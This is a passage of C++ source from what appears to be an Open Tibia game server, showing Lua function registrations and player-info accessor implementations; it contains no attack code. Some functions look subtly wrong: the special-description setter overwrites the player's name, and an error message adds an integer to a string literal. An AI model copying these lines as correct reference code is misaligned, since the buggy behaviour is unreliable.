//getAccountByAccountId(accId) lua_register(m_luaState, "getAccountByAccountId", LuaScriptInterface::luaGetAccountByAccountId); //getIpByName(name) lua_register(m_luaState, "getIpByName", LuaScriptInterface::luaGetIpByName); //getPlayersByIp(ip[, mask = 0xFFFFFFFF]) lua_register(m_luaState, "getPlayersByIp", LuaScriptInterface::luaGetPlayersByIp); //doPlayerPopupFYI(cid, message) lua_register(m_luaState, "doPlayerPopupFYI", LuaScriptInterface::luaDoPlayerPopupFYI); //doPlayerSendTutorial(cid, id) lua_register(m_luaState, "doPlayerSendTutorial", LuaScriptInterface::luaDoPlayerSendTutorial); //doPlayerSendMailByName(name, item[, town[, actor]]) lua_register(m_luaState, "doPlayerSendMailByName", LuaScriptInterface::luaDoPlayerSendMailByName); //doPlayerAddMapMark(cid, pos, type[, description]) lua_register(m_luaState, "doPlayerAddMapMark", LuaScriptInterface::luaDoPlayerAddMapMark); //moveCreatureTo(cid,pos[,minist [,maxdist]]) lua_register(m_luaState, "moveCreatureTo", LuaScriptInterface::luamoveCreatureTo); //doPlayerAddPremiumDays(cid, days) lua_register(m_luaState, "doPlayerAddPremiumDays", LuaScriptInterface::luaDoPlayerAddPremiumDays); //getPlayerPremiumDays(cid) lua_register(m_luaState, "getPlayerPremiumDays", LuaScriptInterface::luaGetPlayerPremiumDays); //doCreatureSetLookDirection(cid, dir) lua_register(m_luaState, "doCreatureSetLookDirection", LuaScriptInterface::luaDoCreatureSetLookDir); //getCreatureSkullType(cid[, target]) lua_register(m_luaState, "getCreatureSkullType", LuaScriptInterface::luaGetCreatureSkullType); //doCreatureSetSkullType(cid, skull) lua_register(m_luaState, "doCreatureSetSkullType", LuaScriptInterface::luaDoCreatureSetSkullType); //getPlayerSkullEnd(cid) lua_register(m_luaState, "getPlayerSkullEnd", LuaScriptInterface::luaGetPlayerSkullEnd); //doPlayerSetSkullEnd(cid, time, type) lua_register(m_luaState, "doPlayerSetSkullEnd", LuaScriptInterface::luaDoPlayerSetSkullEnd); //getPlayerBalance(cid) lua_register(m_luaState, "getPlayerBalance", LuaScriptInterface::luaGetPlayerBalance); //getPlayerBlessing(cid, blessing) lua_register(m_luaState, "getPlayerBlessing", LuaScriptInterface::luaGetPlayerBlessing); //doPlayerAddBlessing(cid, blessing) lua_register(m_luaState, "doPlayerAddBlessing", LuaScriptInterface::luaDoPlayerAddBlessing); //getPlayerStamina(cid) lua_register(m_luaState, "getPlayerStamina", LuaScriptInterface::luaGetPlayerStamina); //doPlayerSetStamina(cid, minutes) lua_register(m_luaState, "doPlayerSetStamina", LuaScriptInterface::luaDoPlayerSetStamina); //doPlayerAddStamina(cid, minutes) lua_register(m_luaState, "doPlayerAddStamina", LuaScriptInterface::luaDoPlayerAddStamina); //doPlayerSetBalance(cid, balance) lua_register(m_luaState, "doPlayerSetBalance", LuaScriptInterface::luaDoPlayerSetBalance); //getCreatureNoMove(cid) lua_register(m_luaState, "getCreatureNoMove", LuaScriptInterface::luaGetCreatureNoMove); //doCreatureSetNoMove(cid, block) lua_register(m_luaState, "doCreatureSetNoMove", LuaScriptInterface::luaDoCreatureSetNoMove); //getPlayerIdleTime(cid) lua_register(m_luaState, "getPlayerIdleTime", LuaScriptInterface::luaGetPlayerIdleTime); //doPlayerSetIdleTime(cid, amount) lua_register(m_luaState, "doPlayerSetIdleTime", LuaScriptInterface::luaDoPlayerSetIdleTime); //getPlayerLastLoad(cid) lua_register(m_luaState, "getPlayerLastLoad", LuaScriptInterface::luaGetPlayerLastLoad); //getPlayerLastLogin(cid) lua_register(m_luaState, "getPlayerLastLogin", LuaScriptInterface::luaGetPlayerLastLogin); //getPlayerAccountManager(cid) lua_register(m_luaState, "getPlayerAccountManager", LuaScriptInterface::luaGetPlayerAccountManager); //getPlayerRates(cid) lua_register(m_luaState, "getPlayerRates", LuaScriptInterface::luaGetPlayerRates); //doPlayerSetRate(cid, type, value) lua_register(m_luaState, "doPlayerSetRate", LuaScriptInterface::luaDoPlayerSetRate); //getPlayerPartner(cid) lua_register(m_luaState, "getPlayerPartner", LuaScriptInterface::luaGetPlayerPartner); //doPlayerSetPartner(cid, guid) lua_register(m_luaState, "doPlayerSetPartner", LuaScriptInterface::luaDoPlayerSetPartner); //getPlayerParty(cid) lua_register(m_luaState, "getPlayerParty", LuaScriptInterface::luaGetPlayerParty); //doPlayerJoinParty(cid, lid) lua_register(m_luaState, "doPlayerJoinParty", LuaScriptInterface::luaDoPlayerJoinParty); //getPartyMembers(lid) lua_register(m_luaState, "getPartyMembers", LuaScriptInterface::luaGetPartyMembers); //getCreatureMaster(cid) lua_register(m_luaState, "getCreatureMaster", LuaScriptInterface::luaGetCreatureMaster); //getCreatureSummons(cid) lua_register(m_luaState, "getCreatureSummons", LuaScriptInterface::luaGetCreatureSummons); //getTownId(townName) lua_register(m_luaState, "getTownId", LuaScriptInterface::luaGetTownId); //getTownName(townId) lua_register(m_luaState, "getTownName", LuaScriptInterface::luaGetTownName); //getTownTemplePosition(townId[, displayError]) lua_register(m_luaState, "getTownTemplePosition", LuaScriptInterface::luaGetTownTemplePosition); //getTownHouses(townId) lua_register(m_luaState, "getTownHouses", LuaScriptInterface::luaGetTownHouses); //getSpectators(centerPos, rangex, rangey[, multifloor = false]) lua_register(m_luaState, "getSpectators", LuaScriptInterface::luaGetSpectators); //getVocationInfo(id) lua_register(m_luaState, "getVocationInfo", LuaScriptInterface::luaGetVocationInfo); //getGroupInfo(id) lua_register(m_luaState, "getGroupInfo", LuaScriptInterface::luaGetGroupInfo); //getWaypointList() lua_register(m_luaState, "getWaypointList", LuaScriptInterface::luaGetWaypointList); //getTalkActionList() lua_register(m_luaState, "getTalkActionList", LuaScriptInterface::luaGetTalkActionList); //getExperienceStageList() lua_register(m_luaState, "getExperienceStageList", LuaScriptInterface::luaGetExperienceStageList); //getItemIdByName(name[, displayError = true]) lua_register(m_luaState, "getItemIdByName", LuaScriptInterface::luaGetItemIdByName); //getItemInfo(itemid) lua_register(m_luaState, "getItemInfo", LuaScriptInterface::luaGetItemInfo); //getItemAttribute(uid, key) lua_register(m_luaState, "getItemAttribute", LuaScriptInterface::luaGetItemAttribute); //doItemSetAttribute(uid, key, value) lua_register(m_luaState, "doItemSetAttribute", LuaScriptInterface::luaDoItemSetAttribute); //doItemEraseAttribute(uid, key) lua_register(m_luaState, "doItemEraseAttribute", LuaScriptInterface::luaDoItemEraseAttribute); //getItemWeight(uid[, precise = true]) lua_register(m_luaState, "getItemWeight", LuaScriptInterface::luaGetItemWeight); //hasItemProperty(uid) lua_register(m_luaState, "hasItemProperty", LuaScriptInterface::luaHasItemProperty); //hasPlayerClient(cid) lua_register(m_luaState, "hasPlayerClient", LuaScriptInterface::luaHasPlayerClient); //isIpBanished(ip[, mask]) lua_register(m_luaState, "isIpBanished", LuaScriptInterface::luaIsIpBanished); //isPlayerBanished(name/guid, type) lua_register(m_luaState, "isPlayerBanished", LuaScriptInterface::luaIsPlayerBanished); //isAccountBanished(accountId[, playerId]) lua_register(m_luaState, "isAccountBanished", LuaScriptInterface::luaIsAccountBanished); //doAddIpBanishment(...) lua_register(m_luaState, "doAddIpBanishment", LuaScriptInterface::luaDoAddIpBanishment); //doAddPlayerBanishment(...) lua_register(m_luaState, "doAddPlayerBanishment", LuaScriptInterface::luaDoAddPlayerBanishment); //doAddAccountBanishment(...) lua_register(m_luaState, "doAddAccountBanishment", LuaScriptInterface::luaDoAddAccountBanishment); //doAddNotation(...) lua_register(m_luaState, "doAddNotation", LuaScriptInterface::luaDoAddNotation); //doAddStatement(...) lua_register(m_luaState, "doAddStatement", LuaScriptInterface::luaDoAddStatement); //doRemoveIpBanishment(ip[, mask]) lua_register(m_luaState, "doRemoveIpBanishment", LuaScriptInterface::luaDoRemoveIpBanishment); //doRemovePlayerBanishment(name/guid, type) lua_register(m_luaState, "doRemovePlayerBanishment", LuaScriptInterface::luaDoRemovePlayerBanishment); //doRemoveAccountBanishment(accountId[, playerId]) lua_register(m_luaState, "doRemoveAccountBanishment", LuaScriptInterface::luaDoRemoveAccountBanishment); //doRemoveNotations(accountId[, playerId]) lua_register(m_luaState, "doRemoveNotations", LuaScriptInterface::luaDoRemoveNotations); //doRemoveStatements(name/guid[, channelId]) lua_register(m_luaState, "doRemoveStatements", LuaScriptInterface::luaDoRemoveStatements); //getNotationsCount(accountId[, playerId]) lua_register(m_luaState, "getNotationsCount", LuaScriptInterface::luaGetNotationsCount); //getStatementsCount(name/guid[, channelId]) lua_register(m_luaState, "getStatementsCount", LuaScriptInterface::luaGetStatementsCount); //getBanData(value[, type[, param]]) lua_register(m_luaState, "getBanData", LuaScriptInterface::luaGetBanData); //getBanReason(id) lua_register(m_luaState, "getBanReason", LuaScriptInterface::luaGetBanReason); //getBanAction(id) lua_register(m_luaState, "getBanAction", LuaScriptInterface::luaGetBanAction); //getBanList(type[, value[, param]]) lua_register(m_luaState, "getBanList", LuaScriptInterface::luaGetBanList); //getExperienceStage(level) lua_register(m_luaState, "getExperienceStage", LuaScriptInterface::luaGetExperienceStage); //getDataDir() lua_register(m_luaState, "getDataDir", LuaScriptInterface::luaGetDataDir); //getLogsDir() lua_register(m_luaState, "getLogsDir", LuaScriptInterface::luaGetLogsDir); //getConfigFile() lua_register(m_luaState, "getConfigFile", LuaScriptInterface::luaGetConfigFile); //getConfigValue(key) lua_register(m_luaState, "getConfigValue", LuaScriptInterface::luaGetConfigValue); //getModList() lua_register(m_luaState, "getModList", LuaScriptInterface::luaGetModList); //getHighscoreString(skillId) lua_register(m_luaState, "getHighscoreString", LuaScriptInterface::luaGetHighscoreString); //getWaypointPosition(name) lua_register(m_luaState, "getWaypointPosition", LuaScriptInterface::luaGetWaypointPosition); //doWaypointAddTemporial(name, pos) lua_register(m_luaState, "doWaypointAddTemporial", LuaScriptInterface::luaDoWaypointAddTemporial); //getGameState() lua_register(m_luaState, "getGameState", LuaScriptInterface::luaGetGameState); //doSetGameState(id) lua_register(m_luaState, "doSetGameState", LuaScriptInterface::luaDoSetGameState); //doExecuteRaid(name) lua_register(m_luaState, "doExecuteRaid", LuaScriptInterface::luaDoExecuteRaid); //doCreatureExecuteTalkAction(cid, text[, ignoreAccess[, channelId]]) lua_register(m_luaState, "doCreatureExecuteTalkAction", LuaScriptInterface::luaDoCreatureExecuteTalkAction); //doReloadInfo(id[, cid]) lua_register(m_luaState, "doReloadInfo", LuaScriptInterface::luaDoReloadInfo); //doSaveServer() lua_register(m_luaState, "doSaveServer", LuaScriptInterface::luaDoSaveServer); //doCleanHouse(houseId) lua_register(m_luaState, "doCleanHouse", LuaScriptInterface::luaDoCleanHouse); //doCleanMap() lua_register(m_luaState, "doCleanMap", LuaScriptInterface::luaDoCleanMap); //doRefreshMap() lua_register(m_luaState, "doRefreshMap", LuaScriptInterface::luaDoRefreshMap); //doUpdateHouseAuctions() lua_register(m_luaState, "doUpdateHouseAuctions", LuaScriptInterface::luaDoUpdateHouseAuctions); //loadmodlib(lib) lua_register(m_luaState, "loadmodlib", LuaScriptInterface::luaL_loadmodlib); //domodlib(lib) lua_register(m_luaState, "domodlib", LuaScriptInterface::luaL_domodlib); //dodirectory(dir) lua_register(m_luaState, "dodirectory", LuaScriptInterface::luaL_dodirectory); //db table luaL_register(m_luaState, "db", LuaScriptInterface::luaDatabaseTable); //result table luaL_register(m_luaState, "result", LuaScriptInterface::luaResultTable); //bit table luaL_register(m_luaState, "bit", LuaScriptInterface::luaBitTable); //std table luaL_register(m_luaState, "std", LuaScriptInterface::luaStdTable); } const luaL_Reg LuaScriptInterface::luaDatabaseTable[] = { //db.executeQuery(query) {"executeQuery", LuaScriptInterface::luaDatabaseExecute}, //db.storeQuery(query) {"storeQuery", LuaScriptInterface::luaDatabaseStoreQuery}, //db.escapeString(str) {"escapeString", LuaScriptInterface::luaDatabaseEscapeString}, //db.escapeBlob(s, length) {"escapeBlob", LuaScriptInterface::luaDatabaseEscapeBlob}, //db.lastInsertId() {"lastInsertId", LuaScriptInterface::luaDatabaseLastInsertId}, //db.stringComparison() {"stringComparison", LuaScriptInterface::luaDatabaseStringComparison}, //db.updateLimiter() {"updateLimiter", LuaScriptInterface::luaDatabaseUpdateLimiter}, {NULL,NULL} }; const luaL_Reg LuaScriptInterface::luaResultTable[] = { //result.getDataInt(resId, s) {"getDataInt", LuaScriptInterface::luaResultGetDataInt}, //result.getDataLong(resId, s) {"getDataLong", LuaScriptInterface::luaResultGetDataLong}, //result.getDataString(resId, s) {"getDataString", LuaScriptInterface::luaResultGetDataString}, //result.getDataStream(resId, s, length) {"getDataStream", LuaScriptInterface::luaResultGetDataStream}, //result.next(resId) {"next", LuaScriptInterface::luaResultNext}, //result.free(resId) {"free", LuaScriptInterface::luaResultFree}, {NULL,NULL} }; const luaL_Reg LuaScriptInterface::luaBitTable[] = { //{"cast", LuaScriptInterface::luaBitCast}, {"bnot", LuaScriptInterface::luaBitNot}, {"band", LuaScriptInterface::luaBitAnd}, {"bor", LuaScriptInterface::luaBitOr}, {"bxor", LuaScriptInterface::luaBitXor}, {"lshift", LuaScriptInterface::luaBitLeftShift}, {"rshift", LuaScriptInterface::luaBitRightShift}, //{"arshift", LuaScriptInterface::luaBitArithmeticalRightShift}, //{"ucast", LuaScriptInterface::luaBitUCast}, {"ubnot", LuaScriptInterface::luaBitUNot}, {"uband", LuaScriptInterface::luaBitUAnd}, {"ubor", LuaScriptInterface::luaBitUOr}, {"ubxor", LuaScriptInterface::luaBitUXor}, {"ulshift", LuaScriptInterface::luaBitULeftShift}, {"urshift", LuaScriptInterface::luaBitURightShift}, //{"uarshift", LuaScriptInterface::luaBitUArithmeticalRightShift}, {NULL,NULL} }; const luaL_Reg LuaScriptInterface::luaStdTable[] = { {"cout", LuaScriptInterface::luaStdCout}, {"cerr", LuaScriptInterface::luaStdCerr}, {"clog", LuaScriptInterface::luaStdClog}, {"md5", LuaScriptInterface::luaStdMD5}, {"sha1", LuaScriptInterface::luaStdSHA1}, {NULL, NULL} }; int32_t LuaScriptInterface::luaDoPlayerOpenChannel(lua_State* L) { //doPlayerOpenChannel(cid, channelId) uint32_t channelId = popNumber(L); uint32_t cid = popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(cid); if(player) lua_pushnumber(L, g_game.playerOpenChannel(cid, channelId) ? true : false); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushnumber(L, false); } return 1; } int32_t LuaScriptInterface::internalGetPlayerInfo(lua_State* L, PlayerInfo_t info) { ScriptEnviroment* env = getEnv(); const Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { std::stringstream s; s << getError(LUA_ERROR_PLAYER_NOT_FOUND) << " when requesting player info #" << info; errorEx(s.str()); lua_pushboolean(L, false); return 1; } int64_t value = 0; Position pos; switch(info) { case PlayerInfoNameDescription: lua_pushstring(L, player->getNameDescription().c_str()); return 1; case PlayerInfoSpecialDescription: lua_pushstring(L, player->getSpecialDescription().c_str()); return 1; case PlayerInfoAccess: value = player->getAccess(); break; case PlayerInfoGhostAccess: value = player->getGhostAccess(); break; case PlayerInfoLevel: value = player->getLevel(); break; case PlayerInfoExperience: value = player->getExperience(); break; case PlayerInfoManaSpent: value = player->getSpentMana(); break; case PlayerInfoTown: value = player->getTown(); break; case PlayerInfoPromotionLevel: value = player->getPromotionLevel(); break; case PlayerInfoGUID: value = player->getGUID(); break; case PlayerInfoAccountId: value = player->getAccount(); break; case PlayerInfoAccount: lua_pushstring(L, player->getAccountName().c_str()); return 1; case PlayerInfoPremiumDays: value = player->getPremiumDays(); break; case PlayerInfoFood: { if(Condition* condition = player->getCondition(CONDITION_REGENERATION, CONDITIONID_DEFAULT)) value = condition->getTicks() / 1000; break; } case PlayerInfoVocation: value = player->getVocationId(); break; case PlayerInfoSoul: value = player->getSoul(); break; case PlayerInfoFreeCap: value = (int64_t)player->getFreeCapacity(); break; case PlayerInfoGuildId: value = player->getGuildId(); break; case PlayerInfoGuildName: lua_pushstring(L, player->getGuildName().c_str()); return 1; case PlayerInfoGuildRankId: value = player->getRankId(); break; case PlayerInfoGuildRank: lua_pushstring(L, player->getRankName().c_str()); return 1; case PlayerInfoGuildLevel: value = player->getGuildLevel(); break; case PlayerInfoGuildNick: lua_pushstring(L, player->getGuildNick().c_str()); return 1; case PlayerInfoGroupId: value = player->getGroupId(); break; case PlayerInfoBalance: value = (g_config.getBool(ConfigManager::BANK_SYSTEM) ? player->balance : 0); break; case PlayerInfoStamina: value = player->getStaminaMinutes(); break; case PlayerInfoLossSkill: lua_pushboolean(L, player->getLossSkill()); return 1; case PlayerInfoMarriage: value = player->marriage; break; case PlayerInfoPzLock: lua_pushboolean(L, player->isPzLocked()); return 1; case PlayerInfoSaving: lua_pushboolean(L, player->isSaving()); return 1; case PlayerInfoIp: value = player->getIP(); break; case PlayerInfoSkullEnd: value = player->getSkullEnd(); break; case PlayerInfoOutfitWindow: player->sendOutfitWindow(); lua_pushboolean(L, true); return 1; case PlayerInfoIdleTime: value = player->getIdleTime(); break; case PlayerInfoClient: lua_pushboolean(L, player->hasClient()); return 1; case PlayerInfoLastLoad: value = player->getLastLoad(); break; case PlayerInfoLastLogin: value = player->getLastLogin(); break; case PlayerInfoAccountManager: value = player->accountManager; break; default: errorEx("Unknown player info #" + info); value = 0; break; } lua_pushnumber(L, value); return 1; } //getPlayer[Info](uid) int32_t LuaScriptInterface::luaGetPlayerNameDescription(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoNameDescription); } int32_t LuaScriptInterface::luaGetPlayerSpecialDescription(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoSpecialDescription); } int32_t LuaScriptInterface::luaGetPlayerFood(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoFood); } int32_t LuaScriptInterface::luaGetPlayerAccess(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoAccess); } int32_t LuaScriptInterface::luaGetPlayerGhostAccess(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoGhostAccess); } int32_t LuaScriptInterface::luaGetPlayerLevel(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoLevel); } int32_t LuaScriptInterface::luaGetPlayerExperience(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoExperience); } int32_t LuaScriptInterface::luaGetPlayerSpentMana(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoManaSpent); } int32_t LuaScriptInterface::luaGetPlayerVocation(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoVocation); } int32_t LuaScriptInterface::luaGetPlayerSoul(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoSoul); } int32_t LuaScriptInterface::luaGetPlayerFreeCap(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoFreeCap); } int32_t LuaScriptInterface::luaGetPlayerGuildId(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoGuildId); } int32_t LuaScriptInterface::luaGetPlayerGuildName(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoGuildName); } int32_t LuaScriptInterface::luaGetPlayerGuildRankId(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoGuildRankId); } int32_t LuaScriptInterface::luaGetPlayerGuildRank(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoGuildRank); } int32_t LuaScriptInterface::luaGetPlayerGuildLevel(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoGuildLevel); } int32_t LuaScriptInterface::luaGetPlayerGuildNick(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoGuildNick); } int32_t LuaScriptInterface::luaGetPlayerTown(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoTown); } int32_t LuaScriptInterface::luaGetPlayerPromotionLevel(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoPromotionLevel); } int32_t LuaScriptInterface::luaGetPlayerGroupId(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoGroupId); } int32_t LuaScriptInterface::luaGetPlayerGUID(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoGUID); } int32_t LuaScriptInterface::luaGetPlayerAccountId(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoAccountId); } int32_t LuaScriptInterface::luaGetPlayerAccount(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoAccount); } int32_t LuaScriptInterface::luaGetPlayerPremiumDays(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoPremiumDays); } int32_t LuaScriptInterface::luaGetPlayerBalance(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoBalance); } int32_t LuaScriptInterface::luaGetPlayerStamina(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoStamina); } int32_t LuaScriptInterface::luaGetPlayerLossSkill(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoLossSkill); } int32_t LuaScriptInterface::luaGetPlayerPartner(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoMarriage); } int32_t LuaScriptInterface::luaIsPlayerPzLocked(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoPzLock); } int32_t LuaScriptInterface::luaIsPlayerSaving(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoSaving); } int32_t LuaScriptInterface::luaGetPlayerIp(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoIp); } int32_t LuaScriptInterface::luaGetPlayerSkullEnd(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoSkullEnd); } int32_t LuaScriptInterface::luaDoPlayerSendOutfitWindow(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoOutfitWindow); } int32_t LuaScriptInterface::luaGetPlayerIdleTime(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoIdleTime); } int32_t LuaScriptInterface::luaHasPlayerClient(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoClient); } int32_t LuaScriptInterface::luaGetPlayerLastLoad(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoLastLoad); } int32_t LuaScriptInterface::luaGetPlayerLastLogin(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoLastLogin); } int32_t LuaScriptInterface::luaGetPlayerAccountManager(lua_State* L) { return internalGetPlayerInfo(L, PlayerInfoAccountManager); } // int32_t LuaScriptInterface::luaGetPlayerSex(lua_State* L) { //getPlayerSex(cid[, full = false]) bool full = false; if(lua_gettop(L) > 1) full = popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID((uint32_t)popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } else lua_pushnumber(L, player->getSex(full)); return 1; } int32_t LuaScriptInterface::luaDoPlayerSetNameDescription(lua_State* L) { //doPlayerSetNameDescription(cid, description) std::string description = popString(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->nameDescription += description; lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetSpecialDescription(lua_State* L) { //doPlayerSetSpecialDescription(cid, description) std::string description = popString(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->name = (description); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerMagLevel(lua_State* L) { //getPlayerMagLevel(cid[, ignoreBuffs = false]) bool ignoreBuffs = false; if(lua_gettop(L) > 1) ignoreBuffs = popNumber(L); ScriptEnviroment* env = getEnv(); if(const Player* player = env->getPlayerByUID(popNumber(L))) lua_pushnumber(L, (ignoreBuffs ? player->magLevel : player->getMagicLevel())); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerRequiredMana(lua_State* L) { //getPlayerRequiredMana(cid, magicLevel) uint32_t magLevel = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) lua_pushnumber(L, player->vocation->getReqMana(magLevel)); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerRequiredSkillTries(lua_State* L) { //getPlayerRequiredSkillTries(cid, skillId, skillLevel) int32_t sLevel = popNumber(L), sId = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) lua_pushnumber(L, player->vocation->getReqSkillTries(sId, sLevel)); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerFlagValue(lua_State* L) { //getPlayerFlagValue(cid, flag) uint32_t index = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(index < PlayerFlag_LastFlag) lua_pushboolean(L, player->hasFlag((PlayerFlags)index)); else { std::stringstream ss; ss << index; errorEx("No valid flag index - " + ss.str()); lua_pushboolean(L, false); } } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerCustomFlagValue(lua_State* L) { //getPlayerCustomFlagValue(cid, flag) uint32_t index = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(index < PlayerCustomFlag_LastFlag) lua_pushboolean(L, player->hasCustomFlag((PlayerCustomFlags)index)); else { std::stringstream ss; ss << index; errorEx("No valid flag index - " + ss.str()); lua_pushboolean(L, false); } } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerLearnInstantSpell(lua_State* L) { //doPlayerLearnInstantSpell(cid, name) std::string spellName = popString(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } InstantSpell* spell = g_spells->getInstantSpellByName(spellName); if(!spell) { lua_pushboolean(L, false); return 1; } player->learnInstantSpell(spell->getName()); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoPlayerUnlearnInstantSpell(lua_State* L) { //doPlayerUnlearnInstantSpell(cid, name) std::string spellName = popString(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } InstantSpell* spell = g_spells->getInstantSpellByName(spellName); if(!spell) { lua_pushboolean(L, false); return 1; } player->unlearnInstantSpell(spell->getName()); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaGetPlayerLearnedInstantSpell(lua_State* L) { //getPlayerLearnedInstantSpell(cid, name) std::string spellName = popString(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } InstantSpell* spell = g_spells->getInstantSpellByName(spellName); if(!spell) { lua_pushboolean(L, false); return 1; } lua_pushboolean(L, player->hasLearnedInstantSpell(spellName)); return 1; } int32_t LuaScriptInterface::luaGetPlayerInstantSpellCount(lua_State* L) { //getPlayerInstantSpellCount(cid) ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) lua_pushnumber(L, g_spells->getInstantSpellCount(player)); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerInstantSpellInfo(lua_State* L) { //getPlayerInstantSpellInfo(cid, index) uint32_t index = popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } InstantSpell* spell = g_spells->getInstantSpellByIndex(player, index); if(!spell) { errorEx(getError(LUA_ERROR_SPELL_NOT_FOUND)); lua_pushboolean(L, false); return 1; } lua_newtable(L); setField(L, "name", spell->getName()); setField(L, "words", spell->getWords()); setField(L, "level", spell->getLevel()); setField(L, "mlevel", spell->getMagicLevel()); setField(L, "mana", spell->getManaCost(player)); setField(L, "manapercent", spell->getManaPercent()); return 1; } int32_t LuaScriptInterface::luaGetInstantSpellInfo(lua_State* L) { //getInstantSpellInfo(name) InstantSpell* spell = g_spells->getInstantSpellByName(popString(L)); if(!spell) { errorEx(getError(LUA_ERROR_SPELL_NOT_FOUND)); lua_pushboolean(L, false); return 1; } lua_newtable(L); setField(L, "name", spell->getName()); setField(L, "words", spell->getWords()); setField(L, "level", spell->getLevel()); setField(L, "mlevel", spell->getMagicLevel()); setField(L, "mana", spell->getManaCost(NULL)); setField(L, "manapercent", spell->getManaPercent()); return 1; } int32_t LuaScriptInterface::luaDoRemoveItem(lua_State* L) { //doRemoveItem(uid[, count]) int32_t count = -1; if(lua_gettop(L) > 1) count = popNumber(L); ScriptEnviroment* env = getEnv(); Item* item = env->getItemByUID(popNumber(L)); if(!item) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(g_game.internalRemoveItem(NULL, item, count) != RET_NOERROR) { lua_pushboolean(L, false); return 1; } lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoPlayerRemoveItem(lua_State* L) { //doPlayerRemoveItem(cid, itemid, count[, subType]) int32_t subType = -1; if(lua_gettop(L) > 3) subType = popNumber(L); uint32_t count = popNumber(L); uint16_t itemId 